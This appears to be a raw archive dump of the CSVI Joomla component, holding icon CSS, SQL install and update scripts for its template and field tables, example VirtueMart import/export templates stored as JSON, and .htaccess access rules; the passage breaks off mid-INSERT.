url(../images/csvi_new_48.png); } .icon-48-csvi_edit_48 { background-image: url(../images/csvi_edit_48.png); } .icon-48-csvi_templates_48 { background-image: url(../images/csvi_template_48.png); } .icon-48-csvi_fields_48 { background-image: url(../images/csvi_fields_48.png); } .icon-48-csvi_process_48 { background-image: url(../images/csvi_process_48.png); } .icon-48-csvi_maintenance_48 { background-image: url(../images/csvi_maintenance_48.png); } .icon-48-csvi_log_48 { background-image: url(../images/csvi_log_48.png); } .icon-48-csvi_about_48 { background-image: url(../images/csvi_about_48.png); } .icon-48-csvi_availablefields_48 { background-image: url(../images/csvi_av_fields_48.png); } .icon-48-csvi_logdetails_48 { background-image: url(../images/csvi_log_details_48.png); } .icon-48-csvi_logo_48 { background-image: url(../images/csvi_logo_48.png); } .icon-48-csvi_settings_48 { background-image: url(../images/csvi_settings_48.png); } .icon-48-csvi_replacement_48 { background-image: url(../images/csvi_replace_48.png); } .icon-48-csvi_cron_48 { background-image: url(../images/csvi_cron_48.png); } .icon-48-csvi_help_48 { background-image: url(../images/csvi_help_48.png); } .icon-48-csvi_reset_48 { background-image: url(../images/csvi_reset_48.png); } .icon-48-csvi_import_48 { background-image: url(../images/csvi_import_48.png); } .icon-48-csvi_export_48 { background-image: url(../images/csvi_export_48.png); } .icon-48-csvi_install_48 { background-image: url(../images/csvi_install_48.png); }PK@y>\h#%.components/com_csvi/install/com_akeebasubs.sqlnuW+ADELETE FROM `#__csvi_template_tables` WHERE `component` = 'com_akeebasubs'; INSERT IGNORE INTO `#__csvi_template_tables` (`template_type_name`, `template_table`, `component`) VALUES ('affiliateexport', 'affiliateexport', 'com_akeebasubs'), ('affiliateexport', 'akeebasubs_affiliates', 'com_akeebasubs'), ('affiliateexport', 'akeebasubs_affpayments', 'com_akeebasubs'), ('affiliateexport', 'users', 'com_akeebasubs'), ('affiliateimport', 'affiliateimport', 'com_akeebasubs'), ('affiliateimport', 'akeebasubs_affiliates', 'com_akeebasubs'), ('affiliateimport', 'akeebasubs_affpayments', 'com_akeebasubs'), ('couponexport', 'akeebasubs_coupons', 'com_akeebasubs'), ('couponexport', 'couponexport', 'com_akeebasubs'), ('couponimport', 'akeebasubs_coupons', 'com_akeebasubs'), ('couponimport', 'couponimport', 'com_akeebasubs'), ('subscriptionexport', 'akeebasubs_subscriptions', 'com_akeebasubs'), ('subscriptionexport', 'akeebasubs_users', 'com_akeebasubs'), ('subscriptionexport', 'subscriptionexport', 'com_akeebasubs'), ('subscriptionimport', 'akeebasubs_subscriptions', 'com_akeebasubs'), ('subscriptionimport', 'akeebasubs_users', 'com_akeebasubs'), ('subscriptionimport', 'subscriptionimport', 'com_akeebasubs'); DELETE FROM `#__csvi_template_types` WHERE `component` = 'com_akeebasubs'; INSERT IGNORE INTO `#__csvi_template_types` (`template_type_name`, `template_type`, `component`, `url`, `options`) VALUES ('subscriptionexport', 'export', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=subscriptions', 'file,fields,subscription,layout,email,limit'), ('affiliateexport', 'export', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=affiliates', 'file,fields,layout,email,limit'), ('couponexport', 'export', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=coupons', 'file,fields,layout,email,limit'), ('couponimport', 'import', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=coupons', 'file,fields,limit'), ('subscriptionimport', 'import', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=subscriptions', 'file,fields,limit'), ('affiliateimport', 'import', 'com_akeebasubs', 'index.php?option=com_akeebasubs&view=affiliates', 'file,fields,limit');PK@y>\CE~441components/com_csvi/install/example_templates.csvnuW+A"Example VirtueMart Calculation rule export","{""options"":{""action"":""export"",""component"":""com_virtuemart"",""operation"":""calcexport""},""general"":{""exportto"":""todownload"",""localpath"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""export_filename"":""calculation_rule_export.csv"",""export_file"":""csv"",""field_delimiter"":"","",""text_enclosure"":""\""",""include_column_headers"":""1"",""signature"":""0"",""export_frontend"":""1"",""collect_debug_info"":""0"",""publish_state"":"""",""recordstart"":"""",""recordend"":"""",""groupby"":""1"",""export_date_format"":""d\/m\/Y H:i:s"",""export_price_format_decimal"":""2"",""export_price_format_decsep"":"""",""export_price_format_thousep"":"""",""add_currency_to_price"":""0"",""language"":""en-GB"",""category_separator"":""\/""},""export_fields"":{""_selected_name"":[""calc_name"",""calc_descr"",""calc_kind"",""calc_value_mathop"",""calc_value"",""category_path"",""country_name"",""shopper_group_name"",""state_2_code""],""_column_header"":["""","""","""","""","""","""","""","""",""""],""_default_value"":["""","""","""","""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_sort_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""","""","""","""","""",""""]},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":""""}}" "Example VirtueMart Calculation rule import","{""options"":{""action"":""import"",""component"":""com_virtuemart"",""operation"":""calcimport""},""general"":{""source"":""fromupload"",""local_csv_file"":"""",""urlfile"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""auto_detect_delimiters"":""0"",""field_delimiter"":"","",""text_enclosure"":""\""",""use_column_headers"":""0"",""skip_first_line"":""1"",""overwrite_existing_data"":""1"",""ignore_non_exist"":""0"",""skip_default_value"":""0"",""collect_debug_info"":""1"",""refresh_xml_headers"":""0"",""xml_nodes_map"":"""",""language"":""en-GB"",""category_separator"":""\/""},""import_fields"":{""_selected_name"":[""calc_name"",""calc_descr"",""calc_kind"",""calc_value_mathop"",""calc_value"",""category_path"",""country_name"",""shopper_group_name"",""state_2_code""],""_default_value"":["""","""","""","""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""","""","""","""","""",""""]},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":"""",""post_max_size"":"""",""upload_max_filesize"":""""}}" "Example VirtueMart Category export","{""options"":{""action"":""export"",""component"":""com_virtuemart"",""operation"":""categoryexport""},""general"":{""exportto"":""todownload"",""localpath"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""export_filename"":""category_export.csv"",""export_file"":""csv"",""field_delimiter"":"","",""text_enclosure"":""\""",""include_column_headers"":""1"",""signature"":""0"",""export_frontend"":""1"",""collect_debug_info"":""1"",""publish_state"":"""",""recordstart"":"""",""recordend"":"""",""groupby"":""1"",""export_date_format"":""d\/m\/Y H:i:s"",""export_price_format_decimal"":""2"",""export_price_format_decsep"":"""",""export_price_format_thousep"":"""",""add_currency_to_price"":""0"",""language"":""en-GB"",""category_separator"":""\/""},""export_fields"":{""_selected_name"":[""category_path"",""category_description"",""file_url"",""file_url_thumb"",""published""],""_column_header"":["""","""","""","""",""""],""_default_value"":["""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0""],""_sort_field"":[""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""",""""]},""layout"":{""header"":"""",""body"":"""",""footer"":""""},""email"":{""export_email_addresses"":"""",""export_email_addresses_cc"":"""",""export_email_addresses_bcc"":"""",""export_email_subject"":"""",""export_email_body"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":""""}}" "Example VirtueMart Category import","{""options"":{""action"":""import"",""component"":""com_virtuemart"",""operation"":""categoryimport""},""general"":{""source"":""fromupload"",""local_csv_file"":"""",""urlfile"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""auto_detect_delimiters"":""1"",""field_delimiter"":"","",""text_enclosure"":""\""",""use_column_headers"":""0"",""skip_first_line"":""1"",""overwrite_existing_data"":""1"",""ignore_non_exist"":""0"",""skip_default_value"":""0"",""collect_debug_info"":""1"",""refresh_xml_headers"":""0"",""xml_nodes_map"":"""",""language"":""en-GB"",""category_separator"":""\/""},""import_fields"":{""_selected_name"":[""category_path"",""category_description"",""file_url"",""file_url_thumb"",""published""],""_default_value"":["""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""",""""]},""image"":{""process_image"":""0"",""change_case"":""none"",""keep_original"":""0"",""convert_type"":""none"",""save_images_on_server"":""0"",""full_resize"":""0"",""full_width"":"""",""full_height"":"""",""thumb_check_filetype"":""0"",""thumb_create"":""0"",""thumb_extension"":""none"",""thumb_width"":""90"",""thumb_height"":""90""},""path"":{""file_location_category_images"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":"""",""post_max_size"":"""",""upload_max_filesize"":""""}}" "Example VirtueMart Media export","{""options"":{""action"":""export"",""component"":""com_virtuemart"",""operation"":""mediaexport""},""general"":{""exportto"":""todownload"",""localpath"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""export_filename"":""media_export.csv"",""export_file"":""csv"",""field_delimiter"":"","",""text_enclosure"":""\""",""include_column_headers"":""1"",""signature"":""0"",""export_frontend"":""0"",""collect_debug_info"":""1"",""publish_state"":"""",""recordstart"":"""",""recordend"":"""",""groupby"":""1"",""export_date_format"":""d\/m\/Y H:i:s"",""export_price_format_decimal"":""2"",""export_price_format_decsep"":"""",""export_price_format_thousep"":"""",""add_currency_to_price"":""0""},""export_fields"":{""_selected_name"":[""file_url"",""file_type"",""published"",""file_title"",""file_description"",""file_meta""],""_column_header"":["""","""","""","""","""",""""],""_default_value"":["""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0""],""_sort_field"":[""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""","""",""""]},""layout"":{""header"":"""",""body"":"""",""footer"":""""},""email"":{""export_email_addresses"":"""",""export_email_addresses_cc"":"""",""export_email_addresses_bcc"":"""",""export_email_subject"":"""",""export_email_body"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":""""}}" "Example VirtueMart Media import","{""options"":{""action"":""import"",""component"":""com_virtuemart"",""operation"":""mediaimport""},""general"":{""source"":""fromupload"",""local_csv_file"":"""",""urlfile"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""auto_detect_delimiters"":""0"",""field_delimiter"":"","",""text_enclosure"":""\""",""use_column_headers"":""0"",""skip_first_line"":""0"",""overwrite_existing_data"":""1"",""ignore_non_exist"":""0"",""skip_default_value"":""0"",""collect_debug_info"":""1"",""refresh_xml_headers"":""0"",""xml_nodes_map"":""""},""import_fields"":{""_selected_name"":[""file_url"",""file_type"",""published"",""file_title"",""file_description"",""file_meta""],""_default_value"":["""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":{""4"":"""",""3"":"""",""5"":"""",""2"":"""",""0"":"""",""1"":""""}},""media"":{""ignore_non_exist"":""0""},""image"":{""process_image"":""0"",""change_case"":""none"",""keep_original"":""0"",""convert_type"":""none"",""save_images_on_server"":""0"",""full_resize"":""0"",""full_width"":"""",""full_height"":"""",""thumb_check_filetype"":""0"",""thumb_create"":""0"",""thumb_extension"":""none"",""thumb_width"":""90"",""thumb_height"":""90""},""path"":{""file_location_product_images"":"""",""file_location_category_images"":""""}}" "Example VirtueMart Product export","{""options"":{""action"":""export"",""component"":""com_virtuemart"",""operation"":""productexport""},""general"":{""exportto"":""todownload"",""localpath"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""export_filename"":""product_export.csv"",""export_file"":""csv"",""field_delimiter"":"","",""text_enclosure"":""\""",""include_column_headers"":""1"",""signature"":""0"",""export_frontend"":""0"",""collect_debug_info"":""1"",""publish_state"":"""",""recordstart"":"""",""recordend"":"""",""groupby"":""1"",""export_date_format"":""d\/m\/Y H:i:s"",""export_price_format_decimal"":""2"",""export_price_format_decsep"":"""",""export_price_format_thousep"":"""",""add_currency_to_price"":""0"",""language"":""en-GB"",""category_separator"":""\/""},""export_fields"":{""_selected_name"":[""product_sku"",""product_name"",""manufacturer_name"",""product_price"",""related_products"",""category_path"",""product_parent_sku"",""published"",""product_in_stock""],""_column_header"":["""","""","""","""","""","""","""","""",""""],""_default_value"":["""","""","""","""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_sort_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":["""","""","""","""","""","""","""","""",""""]},""product"":{""exportsef"":""1"",""producturl_suffix"":"""",""featured"":""0"",""product_categories"":[""""],""publish_state_categories"":"""",""incl_subcategory"":""0"",""parent_only"":""0"",""child_only"":""0"",""productskufilter"":"""",""priceoperator"":""gt"",""pricefrom"":"""",""priceto"":"""",""stocklevelstart"":"""",""stocklevelend"":"""",""targetcurrency"":"""",""shopper_groups"":[""none""]},""layout"":{""header"":"""",""body"":"""",""footer"":""""},""email"":{""export_email_addresses"":"""",""export_email_addresses_cc"":"""",""export_email_addresses_bcc"":"""",""export_email_subject"":"""",""export_email_body"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":""""}}" "Example VirtueMart Product import","{""options"":{""action"":""import"",""component"":""com_virtuemart"",""operation"":""productimport""},""general"":{""source"":""fromupload"",""local_csv_file"":"""",""urlfile"":"""",""ftphost"":"""",""ftpport"":"""",""ftpusername"":"""",""ftppass"":"""",""ftproot"":"""",""ftpfile"":"""",""auto_detect_delimiters"":""0"",""field_delimiter"":"","",""text_enclosure"":""\""",""use_column_headers"":""0"",""skip_first_line"":""1"",""overwrite_existing_data"":""1"",""ignore_non_exist"":""0"",""skip_default_value"":""0"",""collect_debug_info"":""1"",""refresh_xml_headers"":""0"",""xml_nodes_map"":"""",""language"":""nl-NL"",""category_separator"":""\/""},""import_fields"":{""_selected_name"":[""product_sku"",""product_name"",""manufacturer_name"",""product_price"",""related_products"",""category_path"",""product_parent_sku"",""published"",""product_in_stock""],""_default_value"":["""","""","""","""","""","""","""","""",""""],""_process_field"":[""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1"",""1""],""_combine_field"":[""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0"",""0""],""_replace_field"":{""6"":"""",""3"":"""",""1"":"""",""5"":"""",""8"":"""",""0"":"""",""4"":"""",""7"":"""",""2"":""""}},""product"":{""append_categories"":""0"",""update_based_on"":""product_sku"",""mpn_column_name"":"""",""unpublish_before_import"":""0"",""use_icecat"":""0""},""image"":{""process_image"":""0"",""auto_generate_image_name"":""0"",""type_generate_image_name"":""product_sku"",""autogenerateext"":""jpg"",""change_case"":""none"",""keep_original"":""0"",""convert_type"":""none"",""save_images_on_server"":""0"",""full_resize"":""0"",""full_width"":"""",""full_height"":"""",""thumb_check_filetype"":""0"",""thumb_create"":""0"",""thumb_extension"":""none"",""thumb_width"":""90"",""thumb_height"":""90""},""path"":{""file_location_product_images"":""""},""limit"":{""use_system_limits"":""0"",""max_execution_time"":"""",""memory_limit"":"""",""post_max_size"":"""",""upload_max_filesize"":""""}}"PK@y>\)%components/com_csvi/install/.htaccessnuW+A Order allow,deny Deny from all PK@y>\&CMM(components/com_csvi/install/com_csvi.sqlnuW+ADELETE FROM `#__csvi_template_types` WHERE `component` = 'com_csvi'; INSERT IGNORE INTO `#__csvi_template_types` (`template_type_name`, `template_type`, `component`, `url`, `options`) VALUES ('customexport', 'export', 'com_csvi', '', 'file,fields,layout,email,limit'), ('customimport', 'import', 'com_csvi', '', 'file,fields,limit');PK@y>\2components/com_csvi/install/install.mysql.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__csvi_available_fields` ( `id` int(11) NOT NULL AUTO_INCREMENT, `csvi_name` varchar(255) NOT NULL, `component_name` varchar(55) NOT NULL, `component_table` varchar(55) NOT NULL, `component` varchar(55) NOT NULL, `isprimary` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `component_name_table` (`component_name`,`component_table`,`component`) ) CHARSET=utf8 COMMENT='Available fields for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_currency` ( `currency_id` tinyint(4) NOT NULL AUTO_INCREMENT, `currency_code` varchar(3) DEFAULT NULL, `currency_rate` varchar(55) DEFAULT NULL, PRIMARY KEY (`currency_id`), UNIQUE KEY `currency_code` (`currency_code`) ) CHARSET=utf8 COMMENT='Curriencies and exchange rates for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_icecat_index` ( `path` varchar(100) DEFAULT NULL, `product_id` int(2) DEFAULT NULL, `updated` int(14) DEFAULT NULL, `quality` varchar(6) DEFAULT NULL, `supplier_id` int(1) DEFAULT NULL, `prod_id` varchar(16) DEFAULT NULL, `catid` int(3) DEFAULT NULL, `m_prod_id` varchar(10) DEFAULT NULL, `ean_upc` varchar(10) DEFAULT NULL, `on_market` int(1) DEFAULT NULL, `country_market` varchar(10) DEFAULT NULL, `model_name` varchar(26) DEFAULT NULL, `product_view` int(5) DEFAULT NULL, `high_pic` varchar(51) DEFAULT NULL, `high_pic_size` int(5) DEFAULT NULL, `high_pic_width` int(3) DEFAULT NULL, `high_pic_height` int(3) DEFAULT NULL, `m_supplier_id` int(3) DEFAULT NULL, `m_supplier_name` varchar(51) DEFAULT NULL, KEY `product_mpn` (`prod_id`), KEY `manufacturer_name` (`supplier_id`) ) CHARSET=utf8 COMMENT='ICEcat index data for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_icecat_suppliers` ( `supplier_id` int(11) unsigned NOT NULL, `supplier_name` varchar(255) NOT NULL, UNIQUE KEY `Unique supplier` (`supplier_id`,`supplier_name`), KEY `Supplier name` (`supplier_name`) ) CHARSET=utf8 COMMENT='ICEcat supplier data for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_logs` ( `id` int(11) NOT NULL AUTO_INCREMENT, `userid` int(11) NOT NULL, `logstamp` datetime NOT NULL, `action` varchar(255) NOT NULL, `action_type` varchar(255) NOT NULL DEFAULT '', `template_name` varchar(255) DEFAULT NULL, `records` int(11) NOT NULL, `run_id` int(11) DEFAULT NULL, `file_name` varchar(255) DEFAULT NULL, `run_cancelled` tinyint(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Log results for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_log_details` ( `id` int(11) NOT NULL AUTO_INCREMENT, `log_id` int(11) NOT NULL, `line` int(11) NOT NULL, `description` text NOT NULL, `result` varchar(45) NOT NULL, `status` varchar(45) NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Log details for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_related_products` ( `product_sku` varchar(64) NOT NULL, `related_sku` text NOT NULL ) CHARSET=utf8 COMMENT='Related products import for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_replacements` ( `id` int(10) NOT NULL AUTO_INCREMENT, `name` varchar(100) NOT NULL, `findtext` text NOT NULL, `replacetext` text NOT NULL, `multivalue` ENUM('0','1') NOT NULL, `method` enum('text','regex') NOT NULL DEFAULT 'text', `checked_out` int(11) unsigned DEFAULT '0', `checked_out_time` datetime DEFAULT '0000-00-00 00:00:00', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Replacement rules for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_settings` ( `id` int(11) NOT NULL AUTO_INCREMENT, `params` text NOT NULL, PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Configuration values for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_settings` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the saved setting', `name` VARCHAR(255) NOT NULL COMMENT 'Name for the saved setting', `settings` TEXT NOT NULL COMMENT 'The actual settings', PRIMARY KEY (`id`) ) CHARSET=utf8 COMMENT='Stores the template settings for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_tables` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `checked_out` int(10) unsigned NOT NULL DEFAULT '0', `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `template_type_name` varchar(55) NOT NULL, `template_table` varchar(55) NOT NULL, `component` varchar(55) NOT NULL, `indexed` int(1) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `type_name` (`template_type_name`,`template_table`,`component`) ) CHARSET=utf8 COMMENT='Template tables used per template type for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_types` ( `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, `checked_out` INT(10) UNSIGNED NOT NULL DEFAULT '0', `checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `template_type_name` VARCHAR(55) NOT NULL, `template_type` VARCHAR(55) NOT NULL, `component` VARCHAR(55) NOT NULL COMMENT 'Name of the component', `url` VARCHAR(100) NULL DEFAULT NULL COMMENT 'The URL of the page the import is for', `options` VARCHAR(255) NOT NULL DEFAULT 'fields' COMMENT 'The template pages to show for the template type', PRIMARY KEY (`id`), UNIQUE KEY `type_name` (`template_type_name`,`template_type`,`component`) ) CHARSET=utf8 COMMENT='Template types for CSVI'; CREATE TABLE IF NOT EXISTS `#__csvi_template_fields` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'Unique ID for the template field', `template_id` INT(11) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'The template ID', `ordering` INT(11) UNSIGNED NOT NULL DEFAULT '0' COMMENT 'The order of the field', `field_name` VARCHAR(255) NOT NULL COMMENT 'Name for the field', `column_header` VARCHAR(255) NOT NULL DEFAULT '' COMMENT 'Header for the column', `default_value` VARCHAR(255) NOT NULL DEFAULT '' COMMENT 'Default value for the field', `process` ENUM('0','1') NOT NULL DEFAULT '1' COMMENT 'Process the field', `combine` ENUM('0','1') NOT NULL DEFAULT '0' COMMENT 'Combine the field', `sort` ENUM('0','1') NOT NULL DEFAULT '0' COMMENT 'Sort the field', PRIMARY KEY (`id`) ) COMMENT='Holds the fields for a CSVI template'; PK@y>\#o,,&components/com_csvi/install/index.htmlnuW+APK@y>\,components/com_csvi/install/update/4.5.1.sqlnuW+APK@y>\),components/com_csvi/install/update/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ff*components/com_csvi/install/update/4.1.sqlnuW+AALTER TABLE `#__csvi_replacements` ADD COLUMN `multivalue` ENUM('0','1') NOT NULL AFTER `replacetext`;PK@y>\*components/com_csvi/install/update/4.4.sqlnuW+APK@y>\ӸhMM5components/com_csvi/install/availablefields_extra.sqlnuW+A/* VirtueMart Product import */ INSERT IGNORE INTO `#__csvi_available_fields` (`csvi_name`, `component_name`, `component_table`, `component`) VALUES ('skip', 'skip', 'productimport', 'com_virtuemart'), ('combine', 'combine', 'productimport', 'com_virtuemart'), ('product_discount', 'product_discount', 'productimport', 'com_virtuemart'), ('product_discount_date_start', 'product_discount_date_start', 'productimport', 'com_virtuemart'), ('product_discount_date_end', 'product_discount_date_end', 'productimport', 'com_virtuemart'), ('product_price', 'product_price', 'productimport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'productimport', 'com_virtuemart'), ('shopper_group_name_new', 'shopper_group_name_new', 'productimport', 'com_virtuemart'), ('shopper_group_name_price', 'shopper_group_name_price', 'productimport', 'com_virtuemart'), ('related_products', 'related_products', 'productimport', 'com_virtuemart'), ('category_id', 'category_id', 'productimport', 'com_virtuemart'), ('category_path', 'category_path', 'productimport', 'com_virtuemart'), ('manufacturer_name', 'manufacturer_name', 'productimport', 'com_virtuemart'), ('manufacturer_id', 'manufacturer_id', 'productimport', 'com_virtuemart'), ('price_with_tax', 'price_with_tax', 'productimport', 'com_virtuemart'), ('product_override_price', 'product_override_price', 'productimport', 'com_virtuemart'), ('override', 'override', 'productimport', 'com_virtuemart'), ('product_box', 'product_box', 'productimport', 'com_virtuemart'), ('product_delete', 'product_delete', 'productimport', 'com_virtuemart'), ('product_name', 'product_name', 'productimport', 'com_virtuemart'), ('product_s_desc', 'product_s_desc', 'productimport', 'com_virtuemart'), ('product_desc', 'product_desc', 'productimport', 'com_virtuemart'), ('metadesc', 'metadesc', 'productimport', 'com_virtuemart'), ('metakey', 'metakey', 'productimport', 'com_virtuemart'), ('customtitle', 'customtitle', 'productimport', 'com_virtuemart'), ('slug', 'slug', 'productimport', 'com_virtuemart'), ('file_url', 'file_url', 'productimport', 'com_virtuemart'), ('file_url_thumb', 'file_url_thumb', 'productimport', 'com_virtuemart'), ('file_title', 'file_title', 'productimport', 'com_virtuemart'), ('file_description', 'file_description', 'productimport', 'com_virtuemart'), ('file_meta', 'file_meta', 'productimport', 'com_virtuemart'), ('product_tax', 'product_tax', 'productimport', 'com_virtuemart'), ('product_parent_sku', 'product_parent_sku', 'productimport', 'com_virtuemart'), ('product_delete', 'product_delete', 'productimport', 'com_virtuemart'), ('product_currency', 'product_currency', 'productimport', 'com_virtuemart'), ('custom_title', 'custom_title', 'productimport', 'com_virtuemart'), ('custom_value', 'custom_value', 'productimport', 'com_virtuemart'), ('custom_price', 'custom_price', 'productimport', 'com_virtuemart'), ('custom_param', 'custom_param', 'productimport', 'com_virtuemart'), ('min_order_level', 'min_order_level', 'productimport', 'com_virtuemart'), ('max_order_level', 'max_order_level', 'productimport', 'com_virtuemart'), ('product_tax_id', 'product_tax_id', 'productimport', 'com_virtuemart'), ('product_discount_id', 'product_discount_id', 'productimport', 'com_virtuemart'), /* VirtueMart Category import */ ('skip', 'skip', 'categoryimport', 'com_virtuemart'), ('combine', 'combine', 'categoryimport', 'com_virtuemart'), ('category_path', 'category_path', 'categoryimport', 'com_virtuemart'), ('category_path_trans', 'category_path_trans', 'categoryimport', 'com_virtuemart'), ('category_name', 'category_name', 'categoryimport', 'com_virtuemart'), ('category_description', 'category_description', 'categoryimport', 'com_virtuemart'), ('metadesc', 'metadesc', 'categoryimport', 'com_virtuemart'), ('metakey', 'metakey', 'categoryimport', 'com_virtuemart'), ('customtitle', 'customtitle', 'categoryimport', 'com_virtuemart'), ('slug', 'slug', 'categoryimport', 'com_virtuemart'), ('category_delete', 'category_delete', 'categoryimport', 'com_virtuemart'), ('file_url', 'file_url', 'categoryimport', 'com_virtuemart'), ('file_url_thumb', 'file_url_thumb', 'categoryimport', 'com_virtuemart'), ('file_title', 'file_title', 'categoryimport', 'com_virtuemart'), ('file_description', 'file_description', 'categoryimport', 'com_virtuemart'), ('file_meta', 'file_meta', 'categoryimport', 'com_virtuemart'), /* VirtueMart Manufacturer Categories import */ ('skip', 'skip', 'manufacturercategoryimport', 'com_virtuemart'), ('combine', 'combine', 'manufacturercategoryimport', 'com_virtuemart'), ('mf_category_name', 'mf_category_name', 'manufacturercategoryimport', 'com_virtuemart'), ('mf_category_desc', 'mf_category_desc', 'manufacturercategoryimport', 'com_virtuemart'), ('slug', 'slug', 'manufacturercategoryimport', 'com_virtuemart'), ('mf_category_delete', 'mf_category_delete', 'manufacturercategoryimport', 'com_virtuemart'), /* VirtueMart Manufacturer import */ ('skip', 'skip', 'manufacturerimport', 'com_virtuemart'), ('combine', 'combine', 'manufacturerimport', 'com_virtuemart'), ('mf_name', 'mf_name', 'manufacturerimport', 'com_virtuemart'), ('mf_email', 'mf_email', 'manufacturerimport', 'com_virtuemart'), ('mf_desc', 'mf_desc', 'manufacturerimport', 'com_virtuemart'), ('mf_url', 'mf_url', 'manufacturerimport', 'com_virtuemart'), ('slug', 'slug', 'manufacturerimport', 'com_virtuemart'), ('mf_category_name', 'mf_category_name', 'manufacturerimport', 'com_virtuemart'), ('manufacturer_delete', 'manufacturer_delete', 'manufacturerimport', 'com_virtuemart'), /* VirtueMart Rating import */ ('skip', 'skip', 'ratingimport', 'com_virtuemart'), ('combine', 'combine', 'ratingimport', 'com_virtuemart'), ('product_sku', 'product_sku', 'ratingimport', 'com_virtuemart'), ('vote', 'vote', 'ratingimport', 'com_virtuemart'), ('username', 'username', 'ratingimport', 'com_virtuemart'), /* VirtueMart Medias import */ ('skip', 'skip', 'mediaimport', 'com_virtuemart'), ('combine', 'combine', 'mediaimport', 'com_virtuemart'), ('product_sku', 'product_sku', 'mediaimport', 'com_virtuemart'), ('media_delete', 'media_delete', 'mediaimport', 'com_virtuemart'), /* VirtueMart Order import */ ('skip', 'skip', 'orderimport', 'com_virtuemart'), ('combine', 'combine', 'orderimport', 'com_virtuemart'), ('user_currency', 'user_currency', 'orderimport', 'com_virtuemart'), /* In the format EUR */ ('payment_element', 'payment_element', 'orderimport', 'com_virtuemart'), ('state_name', 'state_name', 'orderimport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'orderimport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'orderimport', 'com_virtuemart'), 